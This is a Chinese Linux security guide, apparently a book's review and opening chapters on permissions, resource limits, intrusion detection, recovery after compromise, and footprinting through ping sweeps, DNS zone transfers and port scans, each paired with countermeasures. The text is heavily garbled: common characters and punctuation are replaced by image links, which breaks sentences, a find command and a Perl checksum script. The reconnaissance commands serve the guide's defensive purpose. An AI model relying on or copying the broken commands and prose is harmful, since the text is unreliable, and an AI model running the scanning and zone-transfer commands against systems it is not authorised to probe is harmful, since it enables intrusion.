我
![](/icons/41291de.gif)
评价:
本书讲述了linux安全
![](/icons/41291de.gif)
方方面面
![](/icons/41291dou.gif)
并且以
![](/icons/41291yi.gif)
问
![](/icons/41291yi.gif)
答
![](/icons/41291de.gif)
方式介绍
![](/icons/41291dou.gif)
思路清晰
![](/icons/41291dou2.gif)
文中提供了很
多有益
![](/icons/41291de.gif)
安全提示
![](/icons/41291dou.gif)
是Linux系统维护人员
![](/icons/41291de.gif)
必备参考书
![](/icons/41291dou2.gif)
通过本书
![](/icons/41291dou.gif)
你能了解到linux安
全
![](/icons/41291de.gif)
整体概念
![](/icons/41291dou.gif)
从系统安全到应用安全
![](/icons/41291dou.gif)
从单机安全到网络安全
![](/icons/41291dou2.gif)
但安全问题是
![](/icons/41291yi.gif)
个不断变
化不断更新
![](/icons/41291de.gif)
过程而不是
![](/icons/41291yi.gif)
个解决方案
![](/icons/41291dou.gif)
所以本书只是提到当时为人所发现
![](/icons/41291de.gif)
安全问题
![](/icons/41291de.gif)
介
绍
![](/icons/41291dou.gif)
新出现
![](/icons/41291de.gif)
安全问题可参考该书网站WebSite
![](/icons/41291de.gif)
更新和网上
![](/icons/41291de.gif)
安全警告
![](/icons/41291dou2.gif)
第
![](/icons/41291yi.gif)
章 linux安全问题概述
粘着位(Sticky bit)
如果用户对目录有写权限
![](/icons/41291dou.gif)
则可以删除其中
![](/icons/41291de.gif)
文件和子目录
![](/icons/41291dou.gif)
即使该用户不是这些文件
![](/icons/41291de.gif)
所
有者
![](/icons/41291dou.gif)
而且也没有读或写许可
![](/icons/41291dou2.gif)
粘着位出现执行许可
![](/icons/41291de.gif)
位置上
![](/icons/41291dou.gif)
用t表示
![](/icons/41291dou.gif)
设置了该位后
![](/icons/41291dou.gif)
其它用户就不以删除不属于他
![](/icons/41291de.gif)
文件和目录
![](/icons/41291dou2.gif)
但是该目录下
![](/icons/41291de.gif)
目录不继承该权限
![](/icons/41291dou.gif)
要再设置
才可使用
![](/icons/41291dou2.gif)
# chmod 1770 xxx
文件属性
chattr命令修改
lsattr命令列出文件属性
文件属性定义
A 不要更新atime文件
![](/icons/41291dou.gif)
当在笔记本电脑或NFS上限制磁盘I/0流量时
![](/icons/41291dou.gif)
很有用
![](/icons/41291dou.gif)
除2.0
系列外
![](/icons/41291dou.gif)
这
![](/icons/41291yi.gif)
属性不被其它内核支持
![](/icons/41291dou2.gif)
a 文件仅能以追加方式打开
![](/icons/41291dou.gif)
只有root才能设置这个属性
![](/icons/41291dou2.gif)
c 文件保存在磁盘时
![](/icons/41291dou.gif)
内核将自动压缩该文件
![](/icons/41291dou2.gif)
d 文件标记
![](/icons/41291dou.gif)
使其不能被转储
![](/icons/41291dou2.gif)
i 文件不能被修改
![](/icons/41291dou.gif)
删除或重命名
![](/icons/41291dou.gif)
不能创建任何指向它
![](/icons/41291de.gif)
链接
![](/icons/41291dou.gif)
并不能写入任何数据
![](/icons/41291dou2.gif)
s 删除文件时
![](/icons/41291dou.gif)
相应
![](/icons/41291de.gif)
磁盘存储块清零
![](/icons/41291dou2.gif)
S 修改文件时
![](/icons/41291dou.gif)
对其写入进行同步
![](/icons/41291dou2.gif)
u 删除文件时
![](/icons/41291dou.gif)
保存其内容
![](/icons/41291dou2.gif)
Ulimit命令
设置限制 可以把命令加到profile文件里
![](/icons/41291dou.gif)
也可以在/etc/security/limits.conf文件中定义
限制
![](/icons/41291dou2.gif)
命令参数
-a 显示所有限制
-c core文件大小
![](/icons/41291de.gif)
上限
-d 进程数据段大小
![](/icons/41291de.gif)
上限
-f shell所能创建
![](/icons/41291de.gif)
文件大小
![](/icons/41291de.gif)
上限
-m 驻留内存大小
![](/icons/41291de.gif)
上限
-s 堆栈大小
![](/icons/41291de.gif)
上限
-t 每秒可占用
![](/icons/41291de.gif)
CPU时间上限
-p 管道大小
-n 打开文件数
![](/icons/41291de.gif)
上限
-u 进程数
![](/icons/41291de.gif)
上限
-v 虚拟内存
![](/icons/41291de.gif)
上限
除可用Ulimit命令设置外
![](/icons/41291dou.gif)
也可以在/etc/security/limits.conf文件中定义限制
![](/icons/41291dou2.gif)
domino type item value
domino是以符号@开头
![](/icons/41291de.gif)
用户名或组名
![](/icons/41291dou.gif)
*表示所有用户
![](/icons/41291dou.gif)
type设置为hard or soft
![](/icons/41291dou2.gif)
item指
定想限制
![](/icons/41291de.gif)
资源
![](/icons/41291dou2.gif)
如cpu,core nproc or maxlogins
![](/icons/41291dou2.gif)
value是相应
![](/icons/41291de.gif)
限制值
![](/icons/41291dou2.gif)
信号
# kill -TERM XXXX 终止信号
# kill -HUP HTTPD 重读配置信号
特权端口
root用户是可绑定端口小于1024
![](/icons/41291de.gif)
惟
![](/icons/41291yi.gif)
用户
![](/icons/41291dou2.gif)
可以信任来自于远程机器端口小于1024
![](/icons/41291de.gif)
连
接
![](/icons/41291dou2.gif)
第 2章 预防措施和从入侵中恢复
系统安全
简单
![](/icons/41291de.gif)
FIND命令
# find / \(-perm -02000 -o -perm -4000 \) -ls 可以找出系统中所有
![](/icons/41291de.gif)
![](/icons/41291set.gif)
userid and
![](/icons/41291set.gif)
groupid
![](/icons/41291chengxu.gif)
![](/icons/41291dou2.gif)
在最严格
![](/icons/41291de.gif)
情况下
![](/icons/41291dou.gif)
可以去掉除/bin/su外所有已安装
![](/icons/41291chengxu.gif)
![](/icons/41291de.gif)
![](/icons/41291set.gif)
Xid位
![](/icons/41291dou2.gif)
系统安全扫描工具 cops tiger Nabou
扫描检测器
黑客入侵系统前所做
![](/icons/41291de.gif)
第
![](/icons/41291yi.gif)
件事就是从网络上扫描系统
![](/icons/41291dou.gif)
扫描检测器能及时获知
![](/icons/41291dou.gif)
是
![](/icons/41291yi.gif)
个良
好
![](/icons/41291de.gif)
入侵检测系统(IDS)
Klaxon Courtney Scanlogd PortSentry
加固系统
Bastille项目创建了
![](/icons/41291yi.gif)
组模块来加固新近发布
![](/icons/41291de.gif)
REDHAT
![](/icons/41291dou2.gif)
在安装完系统后可运行该补丁
![](/icons/41291dou.gif)
在什么时候都可运行
![](/icons/41291dou.gif)
不必要
![](/icons/41291yi.gif)
定是刚安装完系统
![](/icons/41291dou2.gif)
加固
![](/icons/41291de.gif)
思路方法是:1、下载源代码到/root目录并解包
![](/icons/41291dou2.gif)
以root身份动行InteractiveBastille.pl脚
本
![](/icons/41291dou2.gif)
在回答完问题后
![](/icons/41291dou.gif)
![](/icons/41291chengxu.gif)
将做出相应改动
![](/icons/41291dou2.gif)
配置完成后
![](/icons/41291dou.gif)
该工具把其保存在BackEnd.pl
中
![](/icons/41291dou.gif)
如果希望加固同样配置
![](/icons/41291de.gif)
服务器
![](/icons/41291dou.gif)
将它复制到新服务器并运行AutomatedBastille.pl即可
![](/icons/41291dou2.gif)
Openwall Linux补丁
它是
![](/icons/41291yi.gif)
个内核补丁
![](/icons/41291dou2.gif)
要这些补丁起作用
![](/icons/41291dou.gif)
用户必须重新编译和安装新
![](/icons/41291de.gif)
打上补丁
![](/icons/41291de.gif)
内核
![](/icons/41291dou2.gif)
在
某些情况下
![](/icons/41291dou.gif)
这些内核补丁和标准linux不完全兼容
![](/icons/41291dou.gif)
因此在决定使用前必须确信理解其含
义
![](/icons/41291dou2.gif)
LIDS
它包括内核级
![](/icons/41291de.gif)
端口扫描检测
![](/icons/41291chengxu.gif)
和安全警告
![](/icons/41291chengxu.gif)
![](/icons/41291dou2.gif)
是内核补丁(现在适用于2.2.X和2.4.X
![](/icons/41291dou.gif)
但以后将不再支持2.2)和系统管理工具
![](/icons/41291dou2.gif)
其特性包括:
1、高级文件保护
![](/icons/41291dou.gif)
甚至root也不能发现和处置受LIDS保护
![](/icons/41291de.gif)
文件
![](/icons/41291dou2.gif)
2、进程保护
![](/icons/41291dou.gif)
内核拒绝向受保护
![](/icons/41291de.gif)
进程发送信号(例如SIGKILL)
![](/icons/41291dou.gif)
进程也可以被完全隐
藏起来
![](/icons/41291dou.gif)
在/proc下不会存在任何痕迹
![](/icons/41291dou2.gif)
3、更好
![](/icons/41291de.gif)
访问控制
![](/icons/41291dou.gif)
更有效地使用和特权相关
![](/icons/41291de.gif)
权能
![](/icons/41291dou.gif)
包括禁止root更改这些权能
![](/icons/41291dou2.gif)
4、内置式端口扫描检测
![](/icons/41291dou.gif)
内置于内核
![](/icons/41291de.gif)
扫描
![](/icons/41291chengxu.gif)
能够检测到Nmap
![](/icons/41291dou.gif)
SATAN等工具
![](/icons/41291de.gif)
绝大
部分扫描
![](/icons/41291dou2.gif)
要安装LIDS,必须下载最新
![](/icons/41291de.gif)
linux内核正式版和LIDS源代码
![](/icons/41291dou2.gif)
使用LIDS给内核打上补丁
![](/icons/41291dou.gif)
然后重新编译内核
![](/icons/41291dou2.gif)
日志文件分析
syslogd消信可标记为特定
![](/icons/41291de.gif)
功能和级别
![](/icons/41291dou.gif)
在/etc/syslog.conf文件中可以根据这两个选项来设
置消信
![](/icons/41291de.gif)
去向
![](/icons/41291dou2.gif)
syslogd功能 描述
auth 安全性/验证消息(负面)
authpriv 安全性/验证消息
cron cron and at
daemon 其它系统守护进程(sshd,xinetd,pppd等)
kern 内核消息
lpr 行打印系统
mail 邮件子系统(sendmail,postfix,qmail等)
![](/icons/41291new.gif)
s Usenet新闻消息
syslog 内部syslog消息
user
![](/icons/41291yi.gif)
般用户级消息
uucp UUCP子系统
local0-local7 自定义
![](/icons/41291de.gif)
级别
日志级别 描述
emerg 系统已不可用
alert 必须马上采取行动
crit 危急
err
![](/icons/41291cuowu.gif)
warning 警告
notice 普通但重要
![](/icons/41291de.gif)
情形
info 通知消息
debug 调试消息
syslog.conf每
![](/icons/41291yi.gif)
行
![](/icons/41291de.gif)
配置格式为
facility.loglevel logtarget,所有字段用tab隔开
例子:
daemon.notice /var/log/daemon.log 把
![](/icons/41291chengxu.gif)
发送过来
![](/icons/41291de.gif)
功能为daemon
![](/icons/41291dou.gif)
优先级为notice
或更高级别
![](/icons/41291de.gif)
所有日志消息记录到/var/log/daemon.log文件中
![](/icons/41291dou.gif)
可以使用*号表示匹配所有功
能或日志级别
![](/icons/41291dou2.gif)
目标 描述
/path/to/filename 将消息附加到所指定文件
![](/icons/41291de.gif)
文件尾
![](/icons/41291dou.gif)
这是最常用
![](/icons/41291de.gif)
情形
![](/icons/41291dou2.gif)
@loghost 写到loghost机器上
![](/icons/41291de.gif)
syslog服务器
![](/icons/41291dou2.gif)
可方便把日志发来多台机器上
![](/icons/41291dou.gif)
|/path/to/named_pipe 写到指定
![](/icons/41291de.gif)
命名管道(便于用外部
![](/icons/41291chengxu.gif)
过滤消息)
![](/icons/41291dou2.gif)
user1,user2 写到所列用户
![](/icons/41291dou2.gif)
* 写到所有登录用户
![](/icons/41291dou2.gif)
/dev/console 写到已命名
![](/icons/41291de.gif)
终端
![](/icons/41291dou2.gif)
日志文件许可
应设置日志只为root所有和写入
![](/icons/41291dou.gif)
同时能够被log组(或你所希望
![](/icons/41291de.gif)
组)读取
![](/icons/41291dou.gif)
而其他用户
没有任何权限
![](/icons/41291dou2.gif)
![](/icons/41291yi.gif)
个用户在输入用户名
![](/icons/41291de.gif)
地方使用了口令
![](/icons/41291dou.gif)
在登录失败时
![](/icons/41291dou.gif)
将会把用户名(在
此例中为口令
![](/icons/41291dou.gif)
![](/icons/41291yinwei.gif)
用户失误)记录到日志中
![](/icons/41291dou2.gif)
然后创建
![](/icons/41291yi.gif)
个属于log组
![](/icons/41291de.gif)
虚构用户
![](/icons/41291dou.gif)
并让
所有日志检查
![](/icons/41291chengxu.gif)
以该用户而不是root运行
![](/icons/41291dou2.gif)
日志检查
![](/icons/41291chengxu.gif)
不应当以root用户运行
![](/icons/41291dou2.gif)
可以通过日志分析软件Software开监控日志
![](/icons/41291dou.gif)
如logcheck,swatch和logsurfer
![](/icons/41291dou2.gif)
但最好
![](/icons/41291de.gif)
工具还是管理
员自已写
![](/icons/41291de.gif)
脚本
![](/icons/41291dou2.gif)
文件系统完整性检查
修改文件系统是黑客在侵入系统的后经常要做
![](/icons/41291de.gif)
![](/icons/41291yi.gif)
件事情
![](/icons/41291dou.gif)
下面列出了经常被修改
![](/icons/41291de.gif)
![](/icons/41291yi.gif)
些文
件:
类型 例子
服务器配置文件 /etc/inetd.conf,/etc/ftpaccess
网络配置文件 /etc/host.conf,/etc/sysconfig/network
系统配置文件 /etc/ld.so.conf,/etc/nsswitch.conf
crontab /etc/cron.daily/*,/var/spool/cron/root
![](/icons/41291set.gif)
userid
![](/icons/41291chengxu.gif)
/bin/su,/bin/ping,usr/bin/chfn,/sbin/dump
![](/icons/41291set.gif)
groupid
![](/icons/41291chengxu.gif)
/sbin/netreport,/usr/bin/lpr,/usr/bin/write,/usr/bin/man
如果知道机器何时被入侵
![](/icons/41291dou.gif)
就可以判断修改时
![](/icons/41291dou.gif)
并了解哪些东西被修改了
![](/icons/41291dou.gif)
例如想知道在9
月17日发生
![](/icons/41291de.gif)
侵入事件中被修改
![](/icons/41291de.gif)
所有文件
![](/icons/41291dou.gif)
可以执行如下命令:
# touch 09170000 /tmp/comparison
# find / \( -
![](/icons/41291new.gif)
er /tmp/comparison -o -c
![](/icons/41291new.gif)
er /tmp/comparison \) -ls
但记住
![](/icons/41291dou.gif)
检查文件时间所给出
![](/icons/41291de.gif)
统计结果是不可靠
![](/icons/41291de.gif)
![](/icons/41291dou.gif)
touch命令可以更改任何文件
![](/icons/41291de.gif)
修改
时间(mtime)和访问时间(atime).
校验和
校验和是
![](/icons/41291yi.gif)
个使用数学算法生成
![](/icons/41291de.gif)
![](/icons/41291zifu.gif)
串
![](/icons/41291dou.gif)
可以用来判断两个文件是否相同
![](/icons/41291dou.gif)
即使在
![](/icons/41291yi.gif)
个文
件中只改动了
![](/icons/41291yi.gif)
位
![](/icons/41291dou.gif)
它们
![](/icons/41291de.gif)
校验和也会区别
![](/icons/41291dou2.gif)
通常
用md5sum命令
![](/icons/41291dou2.gif)
# md5sum xxx
文件许可
通过检查文件许可
![](/icons/41291dou.gif)
用户可以知道修改发生
![](/icons/41291de.gif)
时间
![](/icons/41291dou.gif)
并判断其行为是合法
![](/icons/41291dou.gif)
意外还是恶意
![](/icons/41291de.gif)
![](/icons/41291dou.gif)
同时确定其对系统
![](/icons/41291de.gif)
影响
![](/icons/41291dou2.gif)
生成校验和和许可数据库
在黑客入侵系统前生成文件
![](/icons/41291de.gif)
校验和
![](/icons/41291dou.gif)
下面是
![](/icons/41291yi.gif)
个快捷
![](/icons/41291de.gif)
perl脚本
![](/icons/41291dou.gif)
能够使用户生成自已
![](/icons/41291de.gif)
文件许可和校验和数据库(文本)
![](/icons/41291dou2.gif)
#!/usr/bin/perl
use MD5;
require 'find.pl';
$md5 =
![](/icons/41291new.gif)
MD5;
@dirs = @ARGV;
for $dir ( @dirs ) { find($dir);}
sub wanted { push @files,$name;}
for $name ( sort @files ) {
($uid,$gid) = (stat $name)[4,5];
$stat = spr
![](/icons/41291int.gif)
f "%0o",(stat _)[2];
unless ( -f $name ) {
pr
![](/icons/41291int.gif)
f "$stat\t$uid $gid\t\t\t\t\t\t$name\n";
next;
}
$md5->re
![](/icons/41291set.gif)
![](/icons/41291kh.gif)
;
open FILE,$name or pr
![](/icons/41291int.gif)
(STDERR "Can't open file $name\n"),next;
$md5->addfile(FILE);
close FILE;
$checksum = $md5->hexdigest
![](/icons/41291kh.gif)
;
pr
![](/icons/41291int.gif)
f "$stat\t$uid $gid $checksum\t$name\n";
}
生成
![](/icons/41291de.gif)
数据库尽量不要放在本机上
![](/icons/41291dou.gif)
要放在其它机器上或
![](/icons/41291yi.gif)
次写多次读(CDR)
![](/icons/41291de.gif)
机器上
![](/icons/41291dou2.gif)
现有
![](/icons/41291de.gif)
文件完整性工具 Tripwire AIDE Nabou
如何知道系统何时被黑
发现系统被入侵
![](/icons/41291de.gif)
思路方法:
1、主页变化
2、磁盘空间
![](/icons/41291de.gif)
急剧减少 用df工具查看磁盘使用情况
3、频繁地使用网络 使用netstat -na 或lsof输出
![](/icons/41291dou.gif)
检查存在什么连接
4、来自其它管理员
![](/icons/41291de.gif)
联系 当你
![](/icons/41291de.gif)
机器被用于攻击其它机器时
5、混杂模式
![](/icons/41291de.gif)
网络接口 如果黑客想嗅探系统中可用
![](/icons/41291de.gif)
网络服务
![](/icons/41291dou.gif)
会把网络接口设置
为混杂模式(捕获所有
![](/icons/41291de.gif)
包)
![](/icons/41291dou2.gif)
请检查
![](/icons/41291if.gif)
config -a输出
![](/icons/41291de.gif)
promisc以确定接
口模式
![](/icons/41291dou2.gif)
6、抹去/截断
![](/icons/41291de.gif)
日志文件 检查syslog
7、被破坏
![](/icons/41291de.gif)
utmp/wtmp
8、系统中存在
![](/icons/41291de.gif)
新用户 黑客通常使用和现存
![](/icons/41291de.gif)
用户名相近
![](/icons/41291de.gif)
名称以减少被发现
![](/icons/41291de.gif)
机会
![](/icons/41291dou.gif)
例如和lp近似
![](/icons/41291de.gif)
lpr或uucp1等
![](/icons/41291dou2.gif)
或者
黑客方言中
![](/icons/41291de.gif)
名字
![](/icons/41291dou.gif)
如t00r and own3d.
9、正在运行
![](/icons/41291de.gif)
陌生
![](/icons/41291chengxu.gif)
10、不能解释
![](/icons/41291de.gif)
CPU使用情况
11、本地用户
![](/icons/41291de.gif)
远程帐号被破解
12、“看起来古怪”
![](/icons/41291de.gif)
事情
被入侵后应采取
![](/icons/41291de.gif)
措施
制止损害
1、 关闭所有网络接口
![](/icons/41291dou.gif)
使黑客对系统丧失了交互行为
![](/icons/41291de.gif)
能力
![](/icons/41291dou.gif)
但那些正在运行
![](/icons/41291de.gif)
进程仍然
2、 会继续运行
![](/icons/41291dou2.gif)
3、 将系统切换到单用户模式
![](/icons/41291dou.gif)
关闭所有正式
![](/icons/41291de.gif)
root进程和所有用户进程
![](/icons/41291dou.gif)
任何剩下
![](/icons/41291de.gif)
进程
4、 可能就来自于黑客
![](/icons/41291dou2.gif)
3、使用未被损害
![](/icons/41291de.gif)
linux启动盘重启系统
![](/icons/41291dou2.gif)
以只读模式加载系统
![](/icons/41291dou.gif)
检查系统
![](/icons/41291dou.gif)
以查看黑客
所动
![](/icons/41291de.gif)
手脚
![](/icons/41291dou2.gif)
4、进行严重损害
![](/icons/41291de.gif)
控制
![](/icons/41291dou2.gif)
破坏估计
以只读模式挂上所有分区
![](/icons/41291dou.gif)
并记录所发现
![](/icons/41291de.gif)
任何事情
![](/icons/41291dou2.gif)
1、找到可疑
![](/icons/41291de.gif)
文件和目录 口令文件
![](/icons/41291dou.gif)
黑客工具和任何你没有放置在系统中
![](/icons/41291de.gif)
目录
![](/icons/41291dou2.gif)
这
些目录在你重启前可能是不可见
![](/icons/41291de.gif)
![](/icons/41291dou2.gif)
2、定位新
![](/icons/41291de.gif)
![](/icons/41291set.gif)
userid
![](/icons/41291chengxu.gif)
任何新
![](/icons/41291de.gif)
![](/icons/41291set.gif)
Xid
![](/icons/41291chengxu.gif)
(尤其是属于root
![](/icons/41291de.gif)
)都极有可疑
![](/icons/41291dou2.gif)
3、检查时间戳 检查黑客入侵的后发生变化
![](/icons/41291de.gif)
文件
![](/icons/41291dou2.gif)
4、阅读日志文件 检查所有日志文件
![](/icons/41291dou2.gif)
5、验证校验和 比较黑客入侵前后
![](/icons/41291de.gif)
校验和数据库
![](/icons/41291dou2.gif)
6、验证所安装
![](/icons/41291de.gif)
软件Software包 确认正确
![](/icons/41291de.gif)
版本
![](/icons/41291dou.gif)
黑客可以把软件Software降级
![](/icons/41291dou.gif)
以让系统使用不安
全
![](/icons/41291de.gif)
版本
![](/icons/41291dou2.gif)
7、手工验证配置文件 快速浏览
![](/icons/41291dou.gif)
以确定变化
![](/icons/41291dou.gif)
如web以root用户运行
![](/icons/41291dou.gif)
或在
/etc/inetd.conf中出现了额外
![](/icons/41291de.gif)
服务器
![](/icons/41291dou2.gif)
8、备份文件
9、特殊工具 有很多工具可以帮助检查系统
![](/icons/41291dou.gif)
最新
![](/icons/41291de.gif)
是组件是coroners toolkit
![](/icons/41291dou2.gif)
10、通知权威机构
![](/icons/41291dou2.gif)
在线恢复
在确定了黑客行为后
![](/icons/41291dou.gif)
有两个选择
![](/icons/41291dou.gif)
1、堵上漏洞并对系统被篡改部份启用备份;2、重新安
装系统
![](/icons/41291dou2.gif)
最安全
![](/icons/41291de.gif)
思路方法是完全重新安装系统
![](/icons/41291dou2.gif)
仅仅堵上发现
![](/icons/41291de.gif)
漏洞并继续运行通常要快得多
![](/icons/41291dou.gif)
但是
![](/icons/41291dou.gif)
你可能并不能确定黑客在系统中所做
![](/icons/41291de.gif)
所有事情
![](/icons/41291dou2.gif)
黑客可留下在几个月后才发作
![](/icons/41291de.gif)
时间炸弹
![](/icons/41291dou.gif)
也可能修改了系统 2进制代码
![](/icons/41291dou.gif)
使
其运行不稳定
![](/icons/41291dou2.gif)
因此
![](/icons/41291dou.gif)
我们建议
![](/icons/41291de.gif)
把黑客从系统中清除出去
![](/icons/41291de.gif)
最好思路方法如下:
1、对重要文件进行备份
![](/icons/41291dou2.gif)
2、完全格式化所有驱动器
![](/icons/41291dou.gif)
(这也是对系统进行任何改变
![](/icons/41291de.gif)
最佳时间
![](/icons/41291dou.gif)
例如添加硬盘或改变
分区大小
![](/icons/41291dou.gif)
要充分利用停工期
![](/icons/41291de.gif)
有利条件)
3、从头安装linux版本
![](/icons/41291dou.gif)
并且只包含那此必需
![](/icons/41291de.gif)
东西
![](/icons/41291dou2.gif)
4、对已安装
![](/icons/41291de.gif)
软件Software包进行完全升级
![](/icons/41291dou2.gif)
5、生成校验和并将的保存在安全
![](/icons/41291de.gif)
地方
![](/icons/41291dou2.gif)
6、对配置文件进行必要
![](/icons/41291de.gif)
手工修改
![](/icons/41291dou2.gif)
不要仅仅从备份中复制这些文件
![](/icons/41291dou.gif)
它们可能已经被改
变
![](/icons/41291dou2.gif)
7、从备份中复制必要
![](/icons/41291de.gif)
文件
![](/icons/41291dou2.gif)
8、重新检查从备份中安装
![](/icons/41291de.gif)
文件
![](/icons/41291dou.gif)
确认其没有被破坏
![](/icons/41291de.gif)
迹像
![](/icons/41291dou2.gif)
9、使用另
![](/icons/41291yi.gif)
种思路方法计算文件系统
![](/icons/41291de.gif)
校验和
![](/icons/41291dou2.gif)
10、第
![](/icons/41291yi.gif)
次启用网络
![](/icons/41291dou2.gif)
对于实际或觉察到
![](/icons/41291de.gif)
攻击
![](/icons/41291dou.gif)
常用
![](/icons/41291de.gif)
对策是取消发动攻击
![](/icons/41291de.gif)
机器和本机通信
![](/icons/41291de.gif)
能力
![](/icons/41291dou2.gif)
具体做法
有如下几种:
1、使用tcp封装器
![](/icons/41291dou.gif)
拒绝来自黑客ip
![](/icons/41291de.gif)
连接
![](/icons/41291dou2.gif)
2、使用iptables规则
![](/icons/41291dou.gif)
退回/拒绝来自该ip地址
![](/icons/41291de.gif)
包
![](/icons/41291dou2.gif)
3、创建拒绝路由表以使本机不能和相应
![](/icons/41291de.gif)
ip地址通信
![](/icons/41291dou.gif)
此时
![](/icons/41291dou.gif)
仍然可以收到来自源地址
![](/icons/41291de.gif)
包
![](/icons/41291dou.gif)
但不能响应
![](/icons/41291dou.gif)
从而破坏相互间
![](/icons/41291de.gif)
通信
![](/icons/41291dou2.gif)
4、在防火墙上创建类似
![](/icons/41291de.gif)
拒绝访问列表
![](/icons/41291dou2.gif)
第 3章 对机器和网络踩点
在线搜索
新闻组/邮件列表搜索
![](/icons/41291int.gif)
ernet上有很多新闻组/邮件列表或论坛
![](/icons/41291dou.gif)
是向知识渊博
![](/icons/41291de.gif)
人请教问题
![](/icons/41291de.gif)
好地方
![](/icons/41291dou.gif)
但也可能
在完全无意识下泄露了系统信息
![](/icons/41291dou2.gif)
比如公司
![](/icons/41291de.gif)
网络拓扑结构
![](/icons/41291dou.gif)
安全配置情况
![](/icons/41291dou.gif)
电话号码
![](/icons/41291dou.gif)
管
理员名字
![](/icons/41291dou.gif)
个人信息等
![](/icons/41291dou2.gif)
对策:
对所发贴子要再 3审读
![](/icons/41291dou.gif)
删除任何有可能被黑客利用
![](/icons/41291de.gif)
信息
![](/icons/41291dou2.gif)
或使用和系统不相关
![](/icons/41291de.gif)
帐号发
送邮件
![](/icons/41291dou.gif)
比如申请
![](/icons/41291de.gif)
免费邮箱
![](/icons/41291dou2.gif)
whois数据库
ping扫射
ping扫射是指ping指定网络中
![](/icons/41291de.gif)
所有ip
![](/icons/41291dou.gif)
如果机器正在监听ip地址
![](/icons/41291dou.gif)
就会回应ping
![](/icons/41291dou2.gif)
从而
就知道它处于活动状态
![](/icons/41291dou2.gif)
有黑客通过这种思路方法列出所有正在运行
![](/icons/41291de.gif)
机器
![](/icons/41291dou.gif)
然后决定攻击目标
![](/icons/41291dou2.gif)
有两种区别
![](/icons/41291de.gif)
ping主机思路方法:ICMP ping and echo ping
![](/icons/41291dou2.gif)
可以用
![](/icons/41291yi.gif)
些工具加速ping
![](/icons/41291dou2.gif)
其中两
个最有意义:Fping and Nmap
ICMP ping思路方法:源机器向目
![](/icons/41291de.gif)
机器发送icmp echo request.如果目标机器正在运行
![](/icons/41291dou.gif)
则会响
应icmp echo reply
![](/icons/41291dou2.gif)
# ping -c 3 target
echo ping思路方法:以udp or tcp包连接到目标机器
![](/icons/41291de.gif)
回显端口(端口7)
![](/icons/41291dou.gif)
如果机器在运行状态
![](/icons/41291dou.gif)
该端口直接回显发送过来
![](/icons/41291de.gif)
信息
![](/icons/41291dou2.gif)
# telnet target.example.com echo
Fping是
![](/icons/41291yi.gif)
个直接了当
![](/icons/41291de.gif)
ping工具
![](/icons/41291dou.gif)
可以在命令行列出需要ping
![](/icons/41291de.gif)
机器
![](/icons/41291dou.gif)
也可以用文件方
式
# Fping -a < machinelist
如果要扫描整个网络(192.168.10.X)
![](/icons/41291dou.gif)
必须提供IP列表
![](/icons/41291dou.gif)
在命令行用perl语句可以容量实
现
![](/icons/41291dou2.gif)
# perl -e 'for (1..254) {pr
![](/icons/41291int.gif)
"192.168.10.$_\n"}' |fping -a -q 2>/dev/null
Nmap是
![](/icons/41291yi.gif)
种多用途
![](/icons/41291de.gif)
扫描工具
![](/icons/41291dou.gif)
内置了ping扫描功能
![](/icons/41291dou2.gif)
# nmap -sP 192.168.10.0/24
ping扫射对策
通过配置机器(iptables等)来拒绝进入
![](/icons/41291de.gif)
echo request包和出去
![](/icons/41291de.gif)
echo reply包
![](/icons/41291dou2.gif)
从而避免
响应icmp echo request
![](/icons/41291dou2.gif)
关闭本机回显服务
![](/icons/41291dou2.gif)
在/etc/inetd.conf中注释掉以下两行
echo stream tcp nowait root
![](/icons/41291int.gif)
ernal
echo dgram udp wait root
![](/icons/41291int.gif)
ernal
再重启inetd
![](/icons/41291dou2.gif)
dns问题
在linux上
![](/icons/41291dou.gif)
最好
![](/icons/41291de.gif)
dns服务器是bind,它有几个版本
![](/icons/41291dou.gif)
如果你是先锋派
![](/icons/41291dou.gif)
bind9.x是最佳选择
![](/icons/41291dou.gif)
4.x是最稳定版本
![](/icons/41291dou.gif)
8.x则是
![](/icons/41291yi.gif)
个不错
![](/icons/41291de.gif)
过滤
![](/icons/41291dou.gif)
大部分站点都是用这个版本
![](/icons/41291dou2.gif)
请保持bind
![](/icons/41291de.gif)
版本是最新
![](/icons/41291dou.gif)
最为它
![](/icons/41291de.gif)
安全漏洞较多
![](/icons/41291dou.gif)
而且
![](/icons/41291yi.gif)
旦发现漏洞
![](/icons/41291dou.gif)
就会很被黑客利用
![](/icons/41291dou2.gif)
尽量不要在配置文件中包含hinfo and txt信息
![](/icons/41291dou2.gif)
区域传送
![](/icons/41291yi.gif)
般情况下
![](/icons/41291dou.gif)
为了保证dns总是可以
![](/icons/41291dou.gif)
每个域中
![](/icons/41291dou.gif)
都有
![](/icons/41291yi.gif)
个主dns机器
![](/icons/41291dou.gif)
而其它都是次级dns
![](/icons/41291dou.gif)
每当dns区域发生变化时
![](/icons/41291dou.gif)
次级dns机器就从主机器复制全部内容
![](/icons/41291dou2.gif)
系统成为次级dns
![](/icons/41291de.gif)
方
法是在named.conf中添加如下内容:
zone "expample.com" {
type slave;
file "slave/expample.com";
masters {xxx.xxx.xxx.xxx};
};
但是黑客也可以攫取区域文件(如果没有采取措施),下例给出使用host命令列出整个域中
所有NS,A和PTR记录
![](/icons/41291de.gif)
思路方法
![](/icons/41291dou2.gif)
# host -t ns example.com
# host -l example.com
对策:
配置主名字服务器时
![](/icons/41291dou.gif)
使的不允许除次级服务器外机器
![](/icons/41291de.gif)
区域传送
![](/icons/41291dou2.gif)
在全局默认选项中设置
如下:
option {
....
allow-transfer {xxx.xxx.xxx.xxx};
...
}
警告:必须确保在主和从服务器上都禁止区域传送
![](/icons/41291dou.gif)
![](/icons/41291yinwei.gif)
从服务器也能接受区域传送请求
![](/icons/41291dou2.gif)
任何未经授权
![](/icons/41291de.gif)
区域传送都会被syslog记录下来
![](/icons/41291dou2.gif)
反解析是指从ip到域名
![](/icons/41291de.gif)
过程
![](/icons/41291dou2.gif)
可以用host命令实现
![](/icons/41291dou2.gif)
如果大量使用真实
![](/icons/41291de.gif)
主机名
![](/icons/41291dou.gif)
会给
黑客知道机器
![](/icons/41291de.gif)
功能
![](/icons/41291dou2.gif)
所以最好在PTR记录中使用
![](/icons/41291yi.gif)
般
![](/icons/41291de.gif)
反解析名如:
xxx-xxx-xxx-xxx.example.com.
端口扫描
黑客会运行
![](/icons/41291yi.gif)
个或多个端口扫描工具来了解目标系统提供
![](/icons/41291de.gif)
服务
![](/icons/41291dou2.gif)
工具主要有
netcat,strobe,nmap(best)
![](/icons/41291dou2.gif)
玩转nmap可以学到很多东西
![](/icons/41291dou2.gif)
包括自已
![](/icons/41291de.gif)
系统
